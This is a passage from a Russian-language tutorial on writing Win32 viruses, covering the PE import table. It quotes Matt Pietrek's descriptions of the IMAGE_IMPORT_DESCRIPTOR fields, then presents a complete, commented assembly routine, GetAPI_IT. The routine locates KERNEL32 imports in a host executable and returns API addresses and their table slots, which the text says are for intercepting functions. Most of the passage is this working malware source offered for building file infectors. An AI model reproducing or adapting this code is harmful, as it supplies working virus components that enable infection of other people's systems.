Путеводитель по написанию вирусов под Win32

Обработка таблицы импортов


Далее следует структура таблицы импортов.

IMAGE_IMPORT_DESCRIPTOR

А теперь посмотрим, что об этом говорит Мэтт Питрек.

DWORD Characteristics

Когда-то это могло быть набором флагов. Тем не менее Microsoft изменила ее значение и никогда не заботилась о том, чтобы обновить WINNT.H. На самом деле это поле является смещением (RVA) массива указателей, каждый из которых указывает на структуру IMAGE_IMPORT_BY_NAME.

DWORD TimeDateStamp

Время/дата, указывающая на то, когда был создан файл.

DWORD ForwarderChain

Это поле относится к форвардингу. Форвардинг - это когда одна DLL шлет ссылку на некоторые свои функции другой DLL. Например, в WinNT NTDLL.DLL (похоже) шлет некоторые из своих экспортируемых функций KERNEL32.DLL. Это поле содержит индекс в массиве FirstThunk. Функция, проиндексированная в этом поле, будет отфорваржена другой DLL. К сожалению, формат форвардинга функций недокументирован, а пример форварднутых функций сложно найти.

DWORD Name

Это RVA на строку в формате ASCIIz, содержащую имя импортируемой DLL, например "KERNEL32.DLL" и "USER32.DLL".

PIMAGE_THUNK_DATA FirstThunk

Это поле является смещением (RVA) объединения IMAGE_THUNK_DATA. Почти в каждом случае данное объединение интерпретируется как указатель на структуру IMAGE_IMPORT_BY_NAME. Если поле не является одним из этих указателей, то это вероятно ординал. Из документации не совсем понятно, можно ли импортивать функцию по ординалу, а не по имени. Важными полями являются IMAGE_IMPORT_DESCRIPTOR - это имя импортируемой DLL и два массива указателей IMAGE_IMPORT_BY_NAME. В EXE-файле два массива (на которые указывают поля Characteristics и FirstThunk) идут параллельно друг с другом и каждый завершается NULL-элементом. Указатели в обоих массивах указывают на структуру IMAGE_IMPORT_BY_NAME.

Теперь, когда вы знаете определения Мэтта Питрека, я помещу здесь необходимый код, чтобы получать из таблицы импортов адреса API-функций и адрес, где находится смещение на функцию (которую мы хотим перехватить, но об этом чуть попозже).


;---[ CUT HERE ]------------------------------------------------------------- ; ; процедура GetAPI_IT ; -------------------- ; ; Далее следует код, который получает кое-какую информацию из таблицы импор- ; тов.

GetAPI_IT proc

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ок, давайте начнем веселье. Параметры, которые требуются для этой ; ; функции, и возвращаемое значение следующие: ; ; ; ; ВВОД . EDI : Указатель на имя API-функции (чувствительно к регистру) ; ; ВЫВОД . EAX : Адрес API-функции ; ; EBX : Адрес адреса API-функции в таблице импортов ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

mov dword ptr [ebp+TempGA_IT1],edi ; Сохраняем указатель на имя mov ebx,edi xor al,al ; Ищем "\0" scasb jnz $-1 sub edi,ebx ; Получаем размер имени mov dword ptr [ebp+TempGA_IT2],edi ; Сохраняем размер имени

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы сохраняем указатель на имя API-функции во временной ; ; переменной, а затем ищем конец строки, помеченный 0, после чего вычитаем ; ; от нового значения EDI (которое указывает на 0) его старое значение, ; ; получая, таким образом, размер имени API-функции. Просто, не правда ли? ; ; Далее мы сохраняем размер API-функции в другой временной переменной. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

xor eax,eax ; Обнуляем EAX mov esi,dword ptr [ebp+imagebase] ; Загружаем базу образа проц. add esi,3Ch ; Указатель на смещение 3Ch lodsw ; Получаем заголовок PE проц. add eax,dword ptr [ebp+imagebase] ; адрес (нормализованный!) xchg esi,eax lodsd

cmp eax,"EP" ; Это действительно PE? jnz nopes ; Дерьмо!

add esi,7Ch lodsd ; Получаем адрес push eax lodsd ; EAX = Размер pop esi add esi,dword ptr [ebp+imagebase]

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Первое, что мы делаем - это очищаем EAX, потому что нам не нужен мусор в ; ; его верхнем слове. Далее нам мы проверяем PE-сигнатуру заголовка ; ; носителя. Если все в порядке, мы получаем указатель на секцию с таблицей ; ; импортов (.idata). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;



SearchK32: push esi mov esi,[esi+0Ch] ; ESI = Указатель на имя add esi,dword ptr [ebp+imagebase] ; Нормализуем lea edi,[ebp+K32_DLL] ; У-ль на "KERNEL32.dll",0 mov ecx,K32_Size ; ECX = Размер этой строки cld ; Очищаем флаг направления push ecx ; Сохр. размер для дал.исп. rep cmpsb ; Сравниваем байты pop ecx ; Восст. размер pop esi ; Восст. у-ль на импорты jz gotcha ; Если совп., делаем переход add esi,14h ; Получаем след. поле jmp SearchK32 ; След. проход цикла

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы заново push'им ESI. Нам необходимо его сохранить, так как это ; ; начало секции .idata. Затем мы получаем в ESI RVA имена (указатели), ; ; после чего нормализуем это значение с базой образа, превращая, таким ; ; образом его в VA. Далее мы помещаем в EDI указатель на строку ; ; "KERNEL32.dll", в ECX загружаем размер строки, сравниваем две строки и ; ; если они совпадают, значит мы получили еще одну подходящую строку. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

gotcha: cmp byte ptr [esi],00h ; Это OriginalFirstThunk 0? jz nopes ; Отваливаем, если так mov edx,[esi+10h] ; Получаем FirstThunk :) add edx,dword ptr [ebp+imagebase] ; Нормализуем! lodsd or eax,eax ; Это 0? jz nopes ; Дерьмо...

xchg edx,eax ; Получаем указатель на него! add edx,[ebp+imagebase] xor ebx,ebx

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы проверяем, равно ли поле OriginalFirstThunk NULL, и если так, ; ; выходим из процедуры с ошибкой. Затем мы получаем значение FirstThunk и ; ; нормализуем его, прибавляя imagebase, а затем проверяем, равно ли оно 0 ; ; (если так, у нас проблемы, тогда выходим). Помещаем в EDX полученый ; ; адрес (FirstThunk), нормализуем, после чего в EAX мы сохраняем указатель ; ; на поле FirstThunk. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

loopy: cmp dword ptr [edx],00h ; Последний RVA? Хм... jz nopes cmp byte ptr [edx+03h],80h ; Ординал? Duh... jz reloop



mov edi,dword ptr [ebp+TempGA_IT1] ; Получ. указ. на имя API-ф-ции mov ecx,dword ptr [ebp+TempGA_IT2] ; Получаем размер имени mov esi,[edx] ; Получаем текущую строку add esi,dword ptr [ebp+imagebase] inc esi inc esi push ecx ; Сохраняем ее размер rep cmpsb ; Сохраняем обе строки pop ecx ; Восстанавливаем размер jz wegotit reloop: inc ebx ; Увеличиваем значение указателя add edx,4 ; Получаем указатель на другую loop loopy ; импортированную API-функцию

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы проверяем, не находимся ли мы в последнем элементе массива ; ; (который отмечен символом null), и если так, заканчиваем работу. Затем ; ; мы проверяем, является ли элемент ординалом, если так, мы получаем еще ; ; один. Далее идет самое интересное: мы помещаем в EDI сохраненный ранее ; ; указатель на имя API-функции, которую мы искали, в ECX у нас находится ; ; размер строки, и мы помещаем в ESI указатель на текущую API-функцию в ; ; таблице импортов. Мы делаем сравнение между этими двумя строками, и если ; ; они не совпадают, мы получаем следующую, пока не найдем ее или не ; ; достигнем последней API-функции в таблице импортов. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

wegotit: shl ebx,2 ; Умножаем на 4 (размер dword) add ebx,eax ; Добавляем к значению FirstThunk mov eax,[ebx] ; EAX = адрес API-функции ;) test al,0 ; Это чтобы избежать перехода и org $-1 ; немного соптимизировать :) nopes: stc ; Ошибка! ret

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Очень просто: поскольку счетчик у нас находится в EBX, а массив был ; ; массивом DWORD'ов, мы умножаем на 4 (чтобы получить относительное ; ; смещение, которое отмечает адрес API), а после этого у нас находится в ; ; EBX указатель на желаемый адрес API в таблице импортов, а в EAX у нас ; ; находится адрес API-функции. Совершенно :). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

GetAPI_IT endp

;---[ CUT HERE ]-------------------------------------------------------------

Теперь мы знаем, как играть с таблицей импортов. Но нам нужно еще кое-что.


Содержание раздела